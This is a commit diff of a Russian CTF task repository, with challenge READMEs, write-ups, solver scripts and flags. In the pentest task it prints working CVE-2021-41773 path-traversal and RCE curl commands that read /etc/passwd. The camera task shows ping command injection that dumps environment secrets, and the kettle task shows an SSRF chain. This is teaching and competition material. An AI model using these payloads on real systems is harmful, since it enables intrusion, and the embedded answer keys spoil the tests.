Init. import
This commit is contained in:
1
.gitattributes
vendored
Normal file
1
.gitattributes
vendored
Normal file
@@ -0,0 +1 @@
|
||||
* text=auto eol=lf
|
||||
48
10_негритIAт-crypto/README.md
Normal file
48
10_негритIAт-crypto/README.md
Normal file
@@ -0,0 +1,48 @@
|
||||
## Информация для участников
|
||||
Вы решили разобрать сложное задание по криптографии на этом соревновании? Ну что ж.
|
||||
Найдите исходные данные по их хэшам, затем получите флаг. Хотя можно попытаться решить эту задачу и другим способом.
|
||||
Удачи.
|
||||
|
||||
## Выдать участникам
|
||||
Архив для участников: public/curves.zip
|
||||
|
||||
## Решение
|
||||
|
||||
Вычислены 10 хэшей MD5:
|
||||
|
||||
8483587262707 - 5608605adb1c304505ef09746779f83f
|
||||
8787065451739 - ae51e62245a928c024156d98d8d79d2c
|
||||
7027296101303 - a24dec0dc714aa94f11f386d91b59617
|
||||
4144737805144 - 23fb15096a44d4d37de61fb6add86ea6
|
||||
4478039461604 - 4c570982d47a82d228ec495e8867b23a
|
||||
2256122270837 - a4294fa620dae1185d4470423a70b571
|
||||
6898295132754 - 6818e1797a5b5d4be0d1d09c4b97f429
|
||||
3715332022128 - ddc05896b932370647626e3d1af63ec1
|
||||
9095657776904 - 2c1c4c489a14ed00e708af61dd1ed394
|
||||
3881288361224 - 026aa157ff323798a9b0437f79b5b6fe
|
||||
|
||||
Для проверки необходимо расшифрованные числа вставить в соответствующее поле программы ("Расшифрованные значения"):
|
||||
|
||||
8483587262707
|
||||
8787065451739
|
||||
7027296101303
|
||||
4144737805144
|
||||
4478039461604
|
||||
2256122270837
|
||||
6898295132754
|
||||
3715332022128
|
||||
9095657776904
|
||||
3881288361224
|
||||
|
||||
1. Каждое из чисел складывается друг с другом, в результате чего получается некоторое промежуточное число.
|
||||
2. Это число шифруется ECC, затем вычисляется хэш SHAKE256 из шифрованного значения, который ксориться с константой, после чего в поле "Результат" выводится получившийся флаг.
|
||||
|
||||
Расшифровывается достаточно мощной видеокартой или несколькими, но если они отсутствует, то будет не так просто.
|
||||
Требуется либо генерировать словари на 13-символьные числа, либо искать сервер с мощной видеокартой. Функции брутфорса хэшей В AI системах пока что не видел.
|
||||
Оригинальные цифры нужно внести в поле "расшифрованные значения". Либо кто-то выполнит взлом хэша SHAKE256 и шифрования ECC числа, которое получается в результате сложения 10 исходных чисел (возможно, будет быстрее, но нужно отдельно писать код).
|
||||
|
||||
Если верить https://specopssoft.com/blog/best-password-practices-to-defend-against-modern-cracking-attacks/, то 13-ти символьные пароли взламываются мгновенно, но на достаточно дорогом оборудовании. На среднестатистическом перебор должен происходить в десятки или сотни раз медленней (несколько минут).
|
||||
Аренда сервера с GTX 1080 8 ГБ DDR5X стоит примерно 1300 рублей за 1 день.
|
||||
|
||||
## Флаг
|
||||
`caplag{5D0A1820-6694-4286-B844-5FE6FD93}`
|
||||
19
ARMystery-Reverse/README.md
Normal file
19
ARMystery-Reverse/README.md
Normal file
@@ -0,0 +1,19 @@
|
||||
## Информация для участников
|
||||
> В 2087 году корпорация NeoSys разработала революционную систему безопасности для своих устройств.
|
||||
Хакеры сообщают, что ключ к системе скрыт в библиотеке libsecurity.so,
|
||||
работающей на архитектуре ARM. Ваш работодатель готов хорошо заплатить за этот ключ...
|
||||
|
||||
## Выдать участникам
|
||||
public/libsecurity.so
|
||||
|
||||
## Решение
|
||||
Через IDA pro или Ghidra вынимаем алгоритм, переписываем его python скрипт
|
||||
|
||||
solve/solve.py
|
||||
|
||||
|
||||
## Флаг
|
||||
`caplag{4RM_L1NuX_H4ShT4G_1m_4_r34L_r3V3rS3R}`
|
||||
|
||||
|
||||
|
||||
26
ARMystery-Reverse/solve/solve.py
Normal file
26
ARMystery-Reverse/solve/solve.py
Normal file
@@ -0,0 +1,26 @@
|
||||
enc = [
|
||||
0xFD,0x9C,0x43,0x42,0xA1,0xA0,0xEB,0x8F,0x21,
|
||||
0x54,0x67,0x8A,0xEE,0x8C,0x3B,0x46,0x5D,0x60,
|
||||
0xC0,0x97,0x72,0x1D,0xAF,0x63,0x1A,0xF4,0xAC,
|
||||
0x6F,0xB5,0x79,0x2C,0xDA,0xD1,0x81,0x5C,0x1B,
|
||||
0x19,0x85,0x2B,0xC7,0x5A,0x7F,0x9D,0x10,
|
||||
]
|
||||
|
||||
def decode(data):
|
||||
R1, LR = 0x17, 7
|
||||
out = []
|
||||
for b in data:
|
||||
k = R1 & 0x7F
|
||||
next_lr = (LR + 3) & 0xFF
|
||||
R1 = (R1 + 5) & 0xFF
|
||||
|
||||
c = ((b ^ 0x55) - k) & 0xFF
|
||||
c = ((c << 6) | (c >> 2)) & 0xFF
|
||||
c ^= LR
|
||||
|
||||
LR = next_lr
|
||||
out.append(c)
|
||||
return bytes(out)
|
||||
|
||||
flag = decode(enc).decode()
|
||||
print(flag)
|
||||
17
BestCity-Stegano/README.md
Normal file
17
BestCity-Stegano/README.md
Normal file
@@ -0,0 +1,17 @@
|
||||
## Информация для участников
|
||||
> Самый величественный город на земле — Москва — хранит свои тайны не только в архивах Кремля и подземельях Замоскворечья… Иногда правда прячется прямо на виду — в самом сердце столицы. Внимательно пригляделся?..
|
||||
|
||||
## Выдать участникам
|
||||
файл public/task.png
|
||||
|
||||
## Решение
|
||||
1) ```exiftool task.png``` - получаем метаданные, находим строку ```eJwFQDEKACAQeo9bkD8ScjkiyO8PohyIb2j8bPOuAjqEBfE=```
|
||||
2) Через CyberChef делаем рецепт ```From base64 -> Detect File Type``` понимаем, что это Zlib. Меняем рецепт на ```From base64 -> Zlib Inflate``` и получаем результат ```ctf)c4pl4g)st3g4n0```. Запомним эту строку
|
||||
3) Размер для обычной картинки слишком большой, значит что-то спрятано в нем. в CTF часто используют LSB, поэтому через StegSolve или python попробуем вытащить последнии биты с каналов. Вытащим 0 биты с каналов R, G, B и обнаружим большую строку, которая начинается с RC4=...
|
||||
4) Первые символы обозначают, что скорее всего был использован шифр RC4. данные после = передаем в Cyberchef и используем рецепт ```From Base64 -> RC4 пароль:ctf)c4pl4g)st3g4n0 -> Detect File Type``` обнаруживаем, что это MP3.
|
||||
5) Слушаем MP3, используем Reverse дорожки. В звуковой дорожке слышим буквы и цифры, запишим их и получаем такую строку ```C D G N 0 R 3 1 C T T L 8 Q 1 J E 8 P M I S R 1 E 1 N N 0 T B C C 5 P 7 6 O B P D 5 N 6 E T 3 8 C 5 Q 6 2 S P J C D Q N 4 P B 3 6 1 M N 0 T B K 6 D P 6 I S R F D P I N 8 Q 3 1 E H K N 6 T 3 L E 9 N 3 6 P 1 G C P J 7 Q```
|
||||
6) Загружем эту строку в CyberChef, пробуем все Base* и находим, что Base32 подходит, получаем флаг
|
||||
|
||||
|
||||
## Флаг
|
||||
`caplag{Thereisapopularsayingthatasecurecomputerisonethatisturnedoff_38}`
|
||||
13
Caplag-Crackme-Reverse/README.MD
Normal file
13
Caplag-Crackme-Reverse/README.MD
Normal file
@@ -0,0 +1,13 @@
|
||||
## Информация для участников
|
||||
> Ну что, любимые реверсеры, вот вам обычный и "очень простой" таск :D
|
||||
Всего-то надо вбить **логин** и **пароль** в Android-приложение и получить флаг
|
||||
Ничего сложного: логин где-то спрятан, пароль как-то проверяется... да и вообще, всё уже лежит у вас под носом
|
||||
|
||||
## Выдать участникам
|
||||
для участников: public/caplag-crackme.apk
|
||||
|
||||
## Решение
|
||||
райтап - solve/solve.md
|
||||
|
||||
## Флаг
|
||||
`caplag{ae98661c54fb5d0d2e769d21a23d4802c7a24eb98741680949ddb6ed9d8f3e53}`
|
||||
52
Caplag-Crackme-Reverse/solve/solve.md
Normal file
52
Caplag-Crackme-Reverse/solve/solve.md
Normal file
@@ -0,0 +1,52 @@
|
||||
Разбор, исходя только из `caplag-crackme.apk`
|
||||
|
||||
## 1. Достаём логин из ресурсов
|
||||
1. Распаковать APK или открыть в jadx: в `res/values/strings.xml` лежат строки `p0..p9`.
|
||||
2. Склеиваем их: `EBUUBQ5JHhYGHQwOXREBERIMHV0N`.
|
||||
3. Это Base64. Декодируем → байты.
|
||||
4. В Java-коде (видно через jadx) эти байты XOR-ятся с ключом `"stdio.h"`. XOR даёт логин:
|
||||
```
|
||||
caplagveryeasyreverse
|
||||
```
|
||||
|
||||
Быстрая проверка в консоли (при наличии python):
|
||||
```bash
|
||||
python - <<'PY'
|
||||
import base64
|
||||
chunks = ["EBU","UBQ","5JH","hYG","HQw","OXR","EBE","RIM","HV","0N"]
|
||||
data = base64.b64decode("".join(chunks))
|
||||
key = b"stdio.h"
|
||||
print(bytes(b ^ key[i % len(key)] for i, b in enumerate(data)).decode())
|
||||
PY
|
||||
```
|
||||
|
||||
## 2. Реверс native-проверки (libcrack.so)
|
||||
В `lib/*/libcrack.so` JNI-функция `checkAndGetFlag` выполняет:
|
||||
1. `expected_pwd_raw = SHA256(login + "cryptoanalyzator")`
|
||||
2. `key = SHA256(login + "s3cr3t_s@lt_42")`
|
||||
3. `enc = AES-256-CBC(no padding, IV = 00 11 22 ... EE FF)`, шифрует `expected_pwd_raw`.
|
||||
4. Сравнивает `enc` с константой `CIPHER_PASS`; сходится только при правильном логине.
|
||||
5. Проверяет, что введённый пароль — hex(expected_pwd_raw) длиной 64 (регистр не важен).
|
||||
6. Флаг: `caplag{ SHA256("Console.Readline();" + login + password_hex) }`.
|
||||
|
||||
Нужные константы все видны в дизасме/строках `.so`.
|
||||
|
||||
## 3. Считаем пароль и флаг
|
||||
Используем найденный логин:
|
||||
```bash
|
||||
python - <<'PY'
|
||||
import hashlib
|
||||
login = "caplagveryeasyreverse"
|
||||
pwd_hex = hashlib.sha256((login + "cryptoanalyzator").encode()).hexdigest()
|
||||
print("login :", login)
|
||||
print("pass :", pwd_hex)
|
||||
flag = hashlib.sha256((b"Console.Readline();" + login.encode() + pwd_hex.encode())).hexdigest()
|
||||
print("flag :", f"caplag{{{flag}}}")
|
||||
PY
|
||||
```
|
||||
|
||||
Итоговые значения:
|
||||
- Логин: `caplagveryeasyreverse`
|
||||
- Пароль: `7dc1b259bd1ad518e41cca334fca14bd03139a2c0b3566036efe6d2bbb43df4c`
|
||||
- Флаг: `caplag{ae98661c54fb5d0d2e769d21a23d4802c7a24eb98741680949ddb6ed9d8f3e53}`
|
||||
|
||||
46
CaplagOs-pentest/README.md
Normal file
46
CaplagOs-pentest/README.md
Normal file
@@ -0,0 +1,46 @@
|
||||
## Информация для участников
|
||||
- Образ на базе `vulhub/httpd:2.4.49`, включён `mod_cgi` и `ScriptAlias /cgi-bin/`.
|
||||
- Версия Apache уязвима к CVE-2021-41773/42013 (traversal → RCE при включённом CGI).
|
||||
- В контейнере есть пользователь `flagger` с флагом в `/home/flagger/flag.txt`.
|
||||
- Для чтения флага подготовлен SUID-клон `cat` по пути `/opt/dir/ping`.
|
||||
|
||||
## Решение (пошаговый райтап)
|
||||
### 1.
|
||||
- `curl -I http://<ip>:<port>/` → заголовок `Server: Apache/2.4.49 (Unix)`.
|
||||
- `curl http://<ip>:<port>/cgi-bin/test.sh` выдаёт `CGI is working!`, значит CGI разрешён.
|
||||
|
||||
### 2.
|
||||
Apache 2.4.49/2.4.50 некорректно обрабатывает последовательность `.%2e/`, поэтому с `--path-as-is` можно выйти за `ScriptAlias`.
|
||||
```bash
|
||||
curl --path-as-is http://<ip>:<port>/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd
|
||||
```
|
||||
Успешное чтение `/etc/passwd` подтверждает уязвимость.
|
||||
|
||||
### 3.
|
||||
При включённом CGI можно вызвать системную `sh` напрямую:
|
||||
```bash
|
||||
curl --path-as-is -X POST \
|
||||
'http://<ip>:<port>/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/bin/sh' \
|
||||
--data 'echo Content-Type: text/plain; echo; id'
|
||||
```
|
||||
Команда выполняется от имени `www-data`.
|
||||
|
||||
### 4.
|
||||
Через RCE находим SUID-бинарники и видим подготовленный `/opt/dir/ping`:
|
||||
```bash
|
||||
curl --path-as-is -X POST 'http://<ip>:<port>/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/bin/sh' \
|
||||
--data 'echo Content-Type: text/plain; echo; find / -perm -4000 -type f 2>/dev/null'
|
||||
```
|
||||
Так как директория `flagger` недоступна `www-data`, используем этот SUID-клон `cat`.
|
||||
|
||||
### 5.
|
||||
Передаём полный путь к флагу в SUID-бинарник (не забывая про заголовок для CGI):
|
||||
```bash
|
||||
curl --path-as-is -X POST \
|
||||
'http://<ip>:<port>/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/bin/sh' \
|
||||
--data 'echo Content-Type: text/plain; echo; /opt/dir/ping /home/flagger/flag.txt'
|
||||
```
|
||||
Ответом придёт содержимое флага.
|
||||
|
||||
## Флаг
|
||||
`caplag{61102b34a11186dd03f6ffd2dd2892b9fc22bd137e5d2d29c6fdd804ac45ef8c}`
|
||||
19
DemonSlayer-Admin/Readme.md
Normal file
19
DemonSlayer-Admin/Readme.md
Normal file
@@ -0,0 +1,19 @@
|
||||
## Информация для участников
|
||||
> … вы поадаете в неизвестное вам место, пройдя через мерцающий синий портал.
|
||||
Перед вами оказывается незнакомец, он вооружен огромным двухствольным дробовиком и выглядит внушительно.
|
||||
Он протягивает вам табличку с текстом на неизвестном вам языке и вы сразу чувствуете что она содержит то, что вы искали.
|
||||
Незнакомец: "Я чувствую демонов по всюду! Но эти трусливые создания прячутся в других измерениях,
|
||||
помоги мне найти их и ты получишь что ищешь!".
|
||||
"Для этого понадобится ~корень~ зла, он поможет отпереть их измерения, и я смогу покарать их!"
|
||||
> Данные для входа:
|
||||
> login : ctfer
|
||||
> password : 0
|
||||
|
||||
## Выдать участникам
|
||||
Архив для участников: public/public.rar
|
||||
|
||||
## Решение
|
||||
райтап solve/solve.md
|
||||
|
||||
## Флаг
|
||||
`caplag{d@em0N_sl4y3R}`
|
||||
12
DemonSlayer-Admin/solve/solve.md
Normal file
12
DemonSlayer-Admin/solve/solve.md
Normal file
@@ -0,0 +1,12 @@
|
||||
0. lsblk - получаем список дисков, видим что есть размонтированная часть.
|
||||
1. grep -rl --include="path.txt" "root" /home => получаем директорию в которой хранится рут пароль
|
||||
2. cat /home/... директория из 1го пункта/path.txt
|
||||
3. su => ввод root
|
||||
4. for i in {1..5}; do
|
||||
mount /dev/sd\*$i /mnt/portal_$i
|
||||
5. заходим в каждый из дисков, и запускаем фоновое выполнение демона cd /mnt/portal\_\*
|
||||
./demon_name.sh & (& для выполнения в фоне)
|
||||
6. получаем респонс от основного демона о том что наша работа выполнена
|
||||
7. в /home появляется файл с расшифрованным флагом
|
||||
8. cat /home/letter.enc
|
||||
9. вводим флаг на сайте соревнования
|
||||
18
Esoteric-Misc/README.md
Normal file
18
Esoteric-Misc/README.md
Normal file
@@ -0,0 +1,18 @@
|
||||
## Информация для участников
|
||||
> Вы спуститесь по кругам ада демонических языков и должны успеть вынести флаг раньше, чем синтаксис сожжёт вам мозг
|
||||
|
||||
## Выдать участникам
|
||||
файл task [public/task](public/task)
|
||||
|
||||
## Решение
|
||||
|
||||
1) Создаем простой index.html с нашим task.js где лежит JSFuck. Начинаем отладку, чтобы узнать декодировать и получить JS код. Получаем: ```prompt("Введите пароль:") === "1923841672471623472319412844812675168723478561" ? console.log("тут верный bf код") : console.log("тут фейковый bf код")```
|
||||
|
||||
2) Вводим пароль ```1923841672471623472319412844812675168723478561``` и получаем верный BrainFuck код на ~23кб. Идем на сайт https://www.dcode.fr/brainfuck-language и декодируем его
|
||||
|
||||
3) Так как таск на эзотерические языки программирования, то понимаем, что этот код написан на Malbolge. Идем на сайт https://zb3.me/malbolge-tools/#interpreter и запускаем этот код. Получаем ```import base64; var1 = "U1IWD1IEGAQMC05SAl0SWFRGXgZcV1AJAVZBVV8QAFdEW1UQABMRBAMUA1hfCAtXCAZYUkFQBgtDCV9SRVdHWwNeGw=="; var2 = "03fc3cc4df7529e0d2654da8087f1d33"; func1 = lambda var0, var2: ''.join(chr(var0[i] ^ ord(var2[i % len(var2)])) for i in range(len(var0))); a3 = base64.b64decode(var1); a1 = func1(a3, var2); a2 = input(">>> "); print("The flag is correct!") if a2 == a1 else print("-_-")```
|
||||
|
||||
4) Нетрудно сообразить, что тут используется обычное XOR шифрование, где пароль это ```03fc3cc4df7529e0d2654da8087f1d33```, а данные это base64 строка ```U1IWD1IEGAQMC05SAl0SWFRGXgZcV1AJAVZBVV8QAFdEW1UQABMRBAMUA1hfCAtXCAZYUkFQBgtDCV9SRVdHWwNeGw==```. Идем на https://gchq.github.io/CyberChef. Сначала декодируем base64, а далее XOR с нашим паролем. В ответе получаем флаг
|
||||
|
||||
## Флаг
|
||||
`caplag{0hmyg0dwh0th3h3111nv3nt3dth3s3pr0gr4mm1ngl4ngu4g3s1h4t3th3m}`
|
||||
152
GAME/camera/solve_camera.py
Normal file
152
GAME/camera/solve_camera.py
Normal file
@@ -0,0 +1,152 @@
|
||||
#!/usr/bin/env python3
|
||||
import argparse
|
||||
import hashlib
|
||||
import http.cookiejar
|
||||
import os
|
||||
import re
|
||||
import sys
|
||||
from typing import Optional, Tuple
|
||||
from urllib import parse, request
|
||||
|
||||
|
||||
def sha1_hex(value: str) -> str:
|
||||
return hashlib.sha1(value.encode("utf-8")).hexdigest()
|
||||
|
||||
|
||||
def normalize_base(raw: str) -> str:
|
||||
if "://" not in raw:
|
||||
raw = "http://" + raw
|
||||
return raw.rstrip("/")
|
||||
|
||||
|
||||
def read_part_a(cli_value: Optional[str]) -> Optional[str]:
|
||||
if cli_value:
|
||||
return cli_value
|
||||
env_value = os.getenv("PWD_PART_A")
|
||||
if env_value:
|
||||
return env_value
|
||||
candidates = [
|
||||
os.path.join(os.getcwd(), "web_camera_5.yml"),
|
||||
os.path.join(os.path.dirname(__file__), "web_camera_5.yml"),
|
||||
]
|
||||
for path in candidates:
|
||||
if not os.path.exists(path):
|
||||
continue
|
||||
try:
|
||||
data = open(path, "r", encoding="utf-8", errors="ignore").read()
|
||||
except OSError:
|
||||
continue
|
||||
match = re.search(r"PWD_PART_A=([^\s]+)", data)
|
||||
if match:
|
||||
return match.group(1)
|
||||
return None
|
||||
|
||||
|
||||
def get_uid(opener: request.OpenerDirector, base: str) -> Optional[str]:
|
||||
resp = opener.open(base + "/login")
|
||||
uid = resp.headers.get("X-Device-Id")
|
||||
if uid:
|
||||
return uid.strip()
|
||||
body = resp.read().decode("utf-8", errors="ignore")
|
||||
match = re.search(r"UID:\s*([A-Za-z0-9_-]+)", body)
|
||||
return match.group(1) if match else None
|
||||
|
||||
|
||||
def has_cookie(cj: http.cookiejar.CookieJar, name: str) -> bool:
|
||||
return any(cookie.name == name for cookie in cj)
|
||||
|
||||
|
||||
def login(
|
||||
opener: request.OpenerDirector,
|
||||
cj: http.cookiejar.CookieJar,
|
||||
base: str,
|
||||
uid: str,
|
||||
part_a: str,
|
||||
) -> str:
|
||||
password = sha1_hex(f"{part_a}:{uid}")[:10]
|
||||
data = parse.urlencode({"username": "admin", "password": password}).encode("utf-8")
|
||||
req = request.Request(base + "/login", data=data, method="POST")
|
||||
opener.open(req).read()
|
||||
if not has_cookie(cj, "sid"):
|
||||
raise RuntimeError("login failed: no session cookie")
|
||||
return password
|
||||
|
||||
|
||||
def find_flag(text: str) -> Optional[str]:
|
||||
match = re.search(r"caplag\{[^}]+\}[^\s<]*", text)
|
||||
return match.group(0) if match else None
|
||||
|
||||
|
||||
def exploit_ping(
|
||||
opener: request.OpenerDirector,
|
||||
base: str,
|
||||
) -> Tuple[Optional[str], Optional[str], str]:
|
||||
payload = "127.0.0.1; echo RCE:$CAMERA_RCE_FLAG; echo PARTC:$PWD_PART_C"
|
||||
data = parse.urlencode({"host": payload}).encode("utf-8")
|
||||
req = request.Request(base + "/admin/tools/ping", data=data, method="POST")
|
||||
text = opener.open(req).read().decode("utf-8", errors="ignore")
|
||||
rce_match = re.search(r"RCE:([^\s<]+)", text)
|
||||
partc_match = re.search(r"PARTC:([^\s<]+)", text)
|
||||
rce_flag = rce_match.group(1) if rce_match else find_flag(text)
|
||||
part_c = partc_match.group(1) if partc_match else None
|
||||
return rce_flag, part_c, text
|
||||
|
||||
|
||||
def redeem_flag(
|
||||
opener: request.OpenerDirector,
|
||||
base: str,
|
||||
part_a: str,
|
||||
part_c: str,
|
||||
uid: str,
|
||||
) -> Tuple[str, Optional[str]]:
|
||||
key = sha1_hex(f"{part_a}:{part_c}:{uid}")[:16]
|
||||
data = parse.urlencode({"key": key}).encode("utf-8")
|
||||
req = request.Request(base + "/admin/redeem", data=data, method="POST")
|
||||
text = opener.open(req).read().decode("utf-8", errors="ignore")
|
||||
return key, find_flag(text)
|
||||
|
||||
|
||||
def main() -> int:
|
||||
parser = argparse.ArgumentParser(description="Solve LookyCam challenge.")
|
||||
parser.add_argument("--url", default="http://127.0.0.1:8070", help="Base URL")
|
||||
parser.add_argument("--part-a", dest="part_a", help="PWD_PART_A value")
|
||||
args = parser.parse_args()
|
||||
|
||||
base = normalize_base(args.url)
|
||||
part_a = read_part_a(args.part_a)
|
||||
if not part_a:
|
||||
print("PWD_PART_A not provided and not found in web_camera_5.yml", file=sys.stderr)
|
||||
return 2
|
||||
|
||||
cj = http.cookiejar.CookieJar()
|
||||
opener = request.build_opener(request.HTTPCookieProcessor(cj))
|
||||
|
||||
uid = get_uid(opener, base)
|
||||
if not uid:
|
||||
print("Failed to determine CAMERA_UID from /login", file=sys.stderr)
|
||||
return 2
|
||||
|
||||
try:
|
||||
password = login(opener, cj, base, uid, part_a)
|
||||
except RuntimeError as exc:
|
||||
print(str(exc), file=sys.stderr)
|
||||
return 2
|
||||
|
||||
rce_flag, part_c, _ = exploit_ping(opener, base)
|
||||
if not part_c:
|
||||
print("Failed to extract PWD_PART_C via ping injection", file=sys.stderr)
|
||||
return 2
|
||||
|
||||
key, final_flag = redeem_flag(opener, base, part_a, part_c, uid)
|
||||
|
||||
print(f"uid: {uid}")
|
||||
print(f"login_password: {password}")
|
||||
print(f"rce_flag: {rce_flag or 'not found'}")
|
||||
print(f"part_c: {part_c}")
|
||||
print(f"redeem_key: {key}")
|
||||
print(f"final_flag: {final_flag or 'not found'}")
|
||||
return 0
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
raise SystemExit(main())
|
||||
53
GAME/camera/writeup.md
Normal file
53
GAME/camera/writeup.md
Normal file
@@ -0,0 +1,53 @@
|
||||
# Writeup: LookyCam (camera)
|
||||
|
||||
Ниже — ожидаемый путь решения: добыть UID, вычислить пароль администратора по подсказанной KDF, получить RCE через ping и собрать финальный ключ.
|
||||
|
||||
## Шаги решения
|
||||
1. PWD_PART_A -получили из стеги в хранилище
|
||||
1. Открыть `/login` и получить `CAMERA_UID`. Он приходит в заголовке `X-Device-Id` и дублируется на странице.
|
||||
2. Сымитировать 3 неудачных логина. После третьей попытки сервер вернёт заголовок `X-Password-KDF` с формулой:
|
||||
`sha1(part + ":" + uid)[0:10]`.
|
||||
3. Подставить известную часть `partA` и посчитать пароль:
|
||||
`password = sha1(partA:uid)[:10]`.
|
||||
4. Войти в `/admin` под `admin` с этим паролем и получить сессию.
|
||||
5. В `/admin/tools/ping` есть command injection: значение `host` без фильтрации попадает в `sh -lc "ping ... ${host}"`.
|
||||
Через `;` можно выполнить произвольные команды и прочитать переменные окружения:
|
||||
`127.0.0.1; echo RCE:$CAMERA_RCE_FLAG; echo PARTC:$PWD_PART_C`
|
||||
6. Из ответа взять `PWD_PART_C` и флаг RCE.
|
||||
7. Посчитать ключ для `/admin/redeem`:
|
||||
`key = sha1(partA:partC:uid)[:16]`.
|
||||
8. Отправить ключ в `/admin/redeem` и получить финальный флаг.
|
||||
|
||||
## Примеры запросов
|
||||
```bash
|
||||
# 1) UID
|
||||
curl -i http://<host>/login
|
||||
|
||||
# 2) 3 фейл-логина, смотрим X-Password-KDF в ответе
|
||||
curl -i -d "username=admin&password=bad" http://<host>/login
|
||||
|
||||
# 3) Логин с правильным паролем
|
||||
curl -i -c cookies.txt -d "username=admin&password=<calc>" http://<host>/login
|
||||
|
||||
# 4) Инъекция в ping
|
||||
curl -i -b cookies.txt -d "host=127.0.0.1; echo RCE:\$CAMERA_RCE_FLAG; echo PARTC:\$PWD_PART_C" \
|
||||
http://<host>/admin/tools/ping
|
||||
|
||||
# 5) Редим финального флага
|
||||
curl -i -b cookies.txt -d "key=<calc>" http://<host>/admin/redeem
|
||||
```
|
||||
|
||||
```python
|
||||
import hashlib
|
||||
|
||||
def sha1(x: str) -> str:
|
||||
return hashlib.sha1(x.encode()).hexdigest()
|
||||
|
||||
uid = "LCAM-9f31"
|
||||
part_a = "..."
|
||||
part_c = "..."
|
||||
|
||||
password = sha1(f"{part_a}:{uid}")[:10]
|
||||
key = sha1(f"{part_a}:{part_c}:{uid}")[:16]
|
||||
print(password, key)
|
||||
```
|
||||
18
GAME/kettle/solve.sh
Normal file
18
GAME/kettle/solve.sh
Normal file
@@ -0,0 +1,18 @@
|
||||
#!/usr/bin/env bash
|
||||
# Параметры из деплоя
|
||||
PROOF="printer-proof-3d3130"
|
||||
NONCE="kettle-nonce-74c1"
|
||||
|
||||
URL="https://printer.caplag-task.ru/go?u=https://nas.caplag-task.ru/internal/hint"
|
||||
# Метка времени (секунды)
|
||||
TS=$(date +%s)
|
||||
|
||||
# MAC = HMAC-SHA256(key=PROOF:NONCE, msg="URL\nTS")
|
||||
KEY="${PROOF}:${NONCE}"
|
||||
MAC=$(printf "%s\n%s" "$URL" "$TS" | openssl dgst -sha256 -hmac "$KEY" -hex | awk '{print $2}')
|
||||
echo $MAC
|
||||
echo $TS
|
||||
# Запрос
|
||||
curl -X POST -i "https://kettle.caplag-task.ru/diagnostics/fetch" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d "{\"proof\":\"$PROOF\",\"ts\":\"$TS\",\"mac\":\"$MAC\",\"url\":\"$URL\"}"
|
||||
55
GAME/kettle/writeup.md
Normal file
55
GAME/kettle/writeup.md
Normal file
@@ -0,0 +1,55 @@
|
||||
# Разбор решения задачи Kettle
|
||||
|
||||
Разбор для участников (с учётом: PROOF уже есть из «принтера», исходники найдены на GitHub).
|
||||
|
||||
## Ключевая логика из исходников
|
||||
|
||||
- В `files/server.js` видно, что `/diagnostics` отдаёт `X-Device-ID` — это `KETTLE_NONCE`. В UI показываются только последние 4 символа, поэтому полный nonce берём из заголовка ответа.
|
||||
- `/diagnostics/fetch` принимает JSON с `proof`, `ts`, `mac`, `url` и проверяет:
|
||||
- `proof` должен совпасть с PRINTER_PROOF (у вас он уже есть из задания с принтером),
|
||||
- `ts` — свежий (±300 сек),
|
||||
- `mac` — HMAC-SHA256 по формуле: `key = PROOF:NONCE`, `msg = "URL\nTS"`.
|
||||
- `url` должен начинаться с разрешённого хоста. В проде в whitelist попадают `printer...` и `nas...`, поэтому можно использовать «принтер» как стартовый хост и через него уйти на `nas/internal/hint`.
|
||||
- Kettle делает запрос к NAS с нужными заголовками (`X-Shared-Key` и пр.), поэтому прямой доступ извне обычно не работает — нужен именно прокси через kettle.
|
||||
|
||||
## Практический путь
|
||||
|
||||
1) Узнать nonce из заголовка:
|
||||
|
||||
```bash
|
||||
curl -i https://kettle.caplag-task.ru/diagnostics | rg -i x-device-id
|
||||
```
|
||||
|
||||
2) Собрать URL на «принтер» с редиректом на NAS:
|
||||
|
||||
```
|
||||
https://printer.caplag-task.ru/go?u=https://nas.caplag-task.ru/internal/hint
|
||||
```
|
||||
|
||||
3) где PRINTER_PROOF=PROOF который получили на прошлом таске( как понять что нужен пруф принтера, по дефолтной ссылке диагностики)
|
||||
4) Посчитать подпись и отправить запрос:
|
||||
|
||||
|
||||
```bash
|
||||
PROOF="printer-proof-3d3130"
|
||||
NONCE="kettle-nonce-74c1"
|
||||
|
||||
URL="https://printer.caplag-task.ru/go?u=https://nas.caplag-task.ru/internal/hint"
|
||||
TS=$(date +%s)
|
||||
|
||||
KEY="${PROOF}:${NONCE}"
|
||||
MAC=$(printf "%s\n%s" "$URL" "$TS" | openssl dgst -sha256 -hmac "$KEY" -hex | awk '{print $2}')
|
||||
|
||||
curl -X POST -i "https://kettle.caplag-task.ru/diagnostics/fetch" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d "{\"proof\":\"$PROOF\",\"ts\":\"$TS\",\"mac\":\"$MAC\",\"url\":\"$URL\"}"
|
||||
```
|
||||
|
||||
В ответ так же получаем:
|
||||
заголовки:
|
||||
X-Kettle-Proof: kettle-proof-90fa
|
||||
|
||||
тело:
|
||||
caplag{chain_electric_kettle_ssrf_g1ve_acce$_to_the_nas}
|
||||
JWT_SECRET_XOR_HEX=de223a4935e307f1982a486b14958da5d93f3d5337
|
||||
game_code=ooooooyeeeeah_we_have_got_SuperAdmin_account_to_nas
|
||||
317
GAME/narod/solver.py
Normal file
317
GAME/narod/solver.py
Normal file
@@ -0,0 +1,317 @@
|
||||
#!/usr/bin/env python3
|
||||
import argparse
|
||||
import base64
|
||||
import hashlib
|
||||
import hmac
|
||||
import http.cookiejar
|
||||
import json
|
||||
import re
|
||||
import ssl
|
||||
import struct
|
||||
import sys
|
||||
import time
|
||||
import urllib.error
|
||||
import urllib.parse
|
||||
import urllib.request
|
||||
|
||||
BASE32_ALPHABET = "ABCDEFGHIJKLMNOPQRSTUVWXYZ234567"
|
||||
|
||||
|
||||
def read_target_file(path):
|
||||
url = None
|
||||
parta = None
|
||||
user = None
|
||||
try:
|
||||
with open(path, "r", encoding="utf-8") as fh:
|
||||
for raw in fh:
|
||||
line = raw.strip()
|
||||
if not line or line.startswith("#"):
|
||||
continue
|
||||
if "=" in line:
|
||||
key, value = line.split("=", 1)
|
||||
key = key.strip().lower()
|
||||
value = value.strip()
|
||||
if key in ("url", "target", "host"):
|
